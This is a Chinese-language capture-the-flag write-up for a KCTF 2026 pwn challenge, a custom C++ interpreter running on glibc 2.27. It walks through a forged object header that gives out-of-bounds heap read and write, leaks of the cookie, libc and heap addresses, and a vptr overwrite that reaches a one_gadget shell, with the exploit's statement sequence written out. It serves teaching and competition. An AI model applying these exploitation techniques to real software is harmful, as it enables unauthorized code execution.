[原创]看雪·2026 KCTF 第十题 Writeup-CTF对抗-看雪安全社区

**题目名称：** 卯时·曦光初现  
**题目类型：** Pwn  
**出题战队：** 送分童子  
**附件：** `pwn`（64 位 PIE、stripped）、`libc-2.27.so`（Ubuntu GLIBC 2.27-3ubuntu1.6）  
**Flag：** `flag{9c00470d-6a6d-47f0-bfdc-e5f704c1a115}`

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## 0. 保护与环境

```
Arch:     amd64
PIE:      开启
Canary:   开启
NX:       开启
RELRO:    Full RELRO
```

程序是 C++ 写成的自定义解释器，`stripped`，无后门函数，需要泄漏 libc 后劫持控制流。配套 libc 为 **2.27**，存在 `__malloc_hook` / `__free_hook` 以及可用的 `one_gadget`。

本地用 `patchelf` 把解释器、libc、ld、旧版 libstdc++/libgcc 对齐到 2.27 后再调试，远程靶机环境与之一致。

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## 1. 程序逻辑

`main` 循环：

1. 打印提示符 `> `
2. `getline` 读入最多 256 字节
3. `parse` 失败 → `invalid syntax!`
4. 解析得到 AST 后调用 `vtable[0](ast, env)` 执行
5. 失败 → `runtime error!`
6. 再调用 `vtable[2](ast)` 析构 AST

全局环境 `env` 是 BSS 上 256 个 `uint64` 槽位。另有一块 **64KB bump 堆**（`operator new[](0x10000)`），以及从 `/dev/urandom` 读出的 8 字节 **cookie**。程序字符串里写着 *garbage collection has not been implemented yet*，对象只增不回收。

RTTI 能看到解释器类型：

- 值类型：`Number`、`Object`、`Literal`
- AST：`AssignLit`、`GetField`、`SetField`、`BinOp`

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## 2. 语言文法

所有语句必须以 `$` + 十进制槽号开头，不能有空格。合法语句只有四类：

| 形式                       | 含义                                          |
| -------------------------- | --------------------------------------------- |
| `$N=123` / `$N=[1,2,[3]]`  | 把数字或嵌套数组赋给槽 `N`（AssignLit）       |
| `$A=$B` / `$A=$B[i][j]...` | 拷贝，或按路径取字段（GetField）              |
| `$A[i][j]...=$B`           | 按路径写字段（SetField），源值不能是对象      |
| `$A op $B`                 | 二元运算，结果写回 `$A`（`+ - * / % ^ \| &`） |

数字字面量经 `Number::to_heap` 会 `& 0xFFFFFFFFFFFF` 截成 48 位；但 **BinOp 按完整 64 位运算**，因此可以用乘法构造高 16 位标签：

```
$10=16777216          # 2^24
$11=16777216
$10*$11               # $10 = 2^48
$12=48879             # 0xBEEF
$12*$10               # $12 = 0xBEEF << 48
```

---

## 3. 内存模型

### 3.1 标签

| 编码                                   | 含义                             |
| -------------------------------------- | -------------------------------- |
| `ptr \| 0x1337000000000000`            | 槽位里的对象指针（指向 bump 堆） |
| `cookie ^ (0xBEEF000000000000 \| len)` | 堆上对象头，`len` 为子节点个数   |

数字字段序列化为 `cookie ^ (value & 0xFFFFFFFFFFFF)`。GetField 读出时再异或 cookie，因此：

- 读到「已知明文 0」→ 得到 cookie
- 读到 glibc 堆上的裸指针 → 得到 `ptr ^ cookie`，再和 cookie 异或还原

BinOp 两边只要带 `0x1337` 标签就会失败，所以对象指针不能直接做加减；泄漏到的未加标签地址可以。

### 3.2 字段遍历 `1EDA`

`GetField` / `SetField` 走路径时调用 `1EDA(obj, index)`：

- 校验对象头为 BEEF，且 `index <= len`（内部 skip 整棵子树时会用 `index == len`）
- 从 `obj+8` 开始，遇到 BEEF 头就按子对象长度整块跳过，否则 `+8`
- 返回第 `index` 个子节点的指针

用户侧检查是 `index >= len` 则失败，所以合法字段下标是 `0 .. len-1`。  
**但是：** 如果某个数字字段被写成 `0xBEEF<<48 | huge_len`，遍历会把它当成内嵌对象，后续下标就可以走出当前对象，进入 64KB bump 堆后面的 glibc 堆。

SetField 写入公式：

```
*slot = cookie ^ src
```

源值只要不是 `0x1337` 标签即可。因此可以主动把某个字段写成伪造的 BEEF 头。

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## 4. 漏洞

**伪造对象头 + 任意相对读写。**

```
$0=[0,0,0,0]          # 真实对象，len=4，落在 bump 堆起始
$12 = (0xBEEF<<48)|20000
$0[0]=$12             # 字段 0 变成伪造子对象
$x=$0[0][k]           # 从伪造头往后走 k 步，OOB 读
$0[0][k]=$y           # OOB 写（写入 cookie^y）
```

下标与偏移关系（伪造头在 `custom+8`，`1EDA` 从 `custom+16` 起跳）：

```
addr = custom + 16 + 8*k
k    = (offset - 16) / 8
```

64KB 未使用区域是 0。`0 ^ cookie = cookie`，且 cookie 高 16 位几乎不可能是 `0xBEEF`，所以读零页就能稳定漏 cookie。

---

## 5. 信息泄漏

在 Ubuntu 18.04 / glibc 2.27 上，`new[](0x10000)` 之后的堆布局稳定：

```
[tcache_perthread]   ← heap_start + 0x10
[iostream 小块]
[64KB bump 堆]       ← custom，相对 tcache 偏移 0x11e60
[0x230 in-use 块]    ← 内含 libc 指针
[0x20 tcache ...]
[SetField AST 0x30]  ← 固定落在 custom+0x10340
```

关键泄漏点：

| 偏移             | k    | 内容                                |
| ---------------- | ---- | ----------------------------------- |
| `+0x08` 起的零页 | 8    | cookie                              |
| `+0x10018`       | 8193 | tcache 地址                         |
| `+0x10078`       | 8205 | `_IO_2_1_stderr_` = libc+`0x3ec680` |

计算：

```
cookie  = $0[0][8]
stderr  = $0[0][8205] ^ cookie
libc    = stderr - 0x3ec680
tcache  = $0[0][8193] ^ cookie
custom  = tcache + 0x11e60
gadget  = libc + 0x4f302
```

`one_gadget`（`libc+0x4f302`）：

```
mov rax, [environ]
lea rdi, "/bin/sh"
lea rsi, [rsp+0x40]
...
call execve
```

约束 `[rsp+0x40] == NULL`。从 `main` 调 AST 析构时栈上刚好满足。

---

## 6. 控制流劫持

Full RELRO 不能改 GOT。做法是 **在 SetField 求值期间改写它自己的 vptr**，返回 `main` 后 `call [vptr+0x10]` 进 `one_gadget`。

1. 在 bump 堆 `custom+0x80` 种假 vtable（三个槽都写成 gadget）：
   - `k=14,15,16` 对应 `+0x80,+0x88,+0x90`
   - SetField 写入 `cookie ^ src`，所以源值要预异或：`src = cookie ^ gadget`
2. 当前这条 `SetField` 对象稳定分配在 `custom+0x10340`（命令序列固定时 tcache 0x40 复用）
3. `$0[0][8294]=$vptr` 把该对象 vptr 改成 `custom+0x80`  
   （`k=8294` ⇔ 偏移 `0x10340`）
4. 求值成功返回，`main` 调用 `vtable[2]` → `one_gadget` → shell

小下标种 vtable 只走过 bump 堆里的 0，不会撞到 glibc 堆上「异或后像 BEEF」的指针；最后一次大下标行走路径上也基本是 0 和少量元数据，远程实测一次成功。

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## 7. Exploit 要点

完整脚本见同目录 `exp.py`。核心语句序列：

```text
$10=16777216
$11=16777216
$10*$11                      # 2^48
$12=48879
$12*$10                      # 0xBEEF<<48
$13=20000
$12|$13                      # 伪造头
$0=[0,0,0,0]
$0[0]=$12

$20=$0[0][8]                 # cookie
$21=$0[0][8205]
$21^$20                      # stderr
$21-$40                      # libc   ($40=0x3ec680)
$30=$0[0][8193]
$30^$20                      # tcache
$31=$30
$31+$41                      # custom ($41=0x11e60)
$32=$31
$32+$46                      # fake vtable = custom+0x80
$33=$21
$33+$42                      # gadget  ($42=0x4f302)
$50=$20
$50^$33                      # cookie ^ gadget
$51=$20
$51^$32                      # cookie ^ fake_vtable

$0[0][14]=$50
$0[0][15]=$50
$0[0][16]=$50
$0[0][8294]=$51              # 改写正在执行的 SetField.vptr
```

之后向连接写入 `cat flag` 即可。

本地（2.27 补丁后的 `pwn_patched`）和远程靶机同一条链均可稳定 getshell。

---

## 8. Flag

```
flag{9c00470d-6a6d-47f0-bfdc-e5f704c1a115}
```

---

## 9. 工具与环境

- IDA / 逆向：确认文法、vtable、bump 堆与 cookie
- `patchelf` + Ubuntu 18.04 的 `ld-2.27` / `libstdc++.so.6`：本地对齐远程 libc
- `/proc/<pid>/mem`：核对泄漏偏移、`SetField` 对象落点
- 纯 Python socket 脚本：打远程，无需 pwntools

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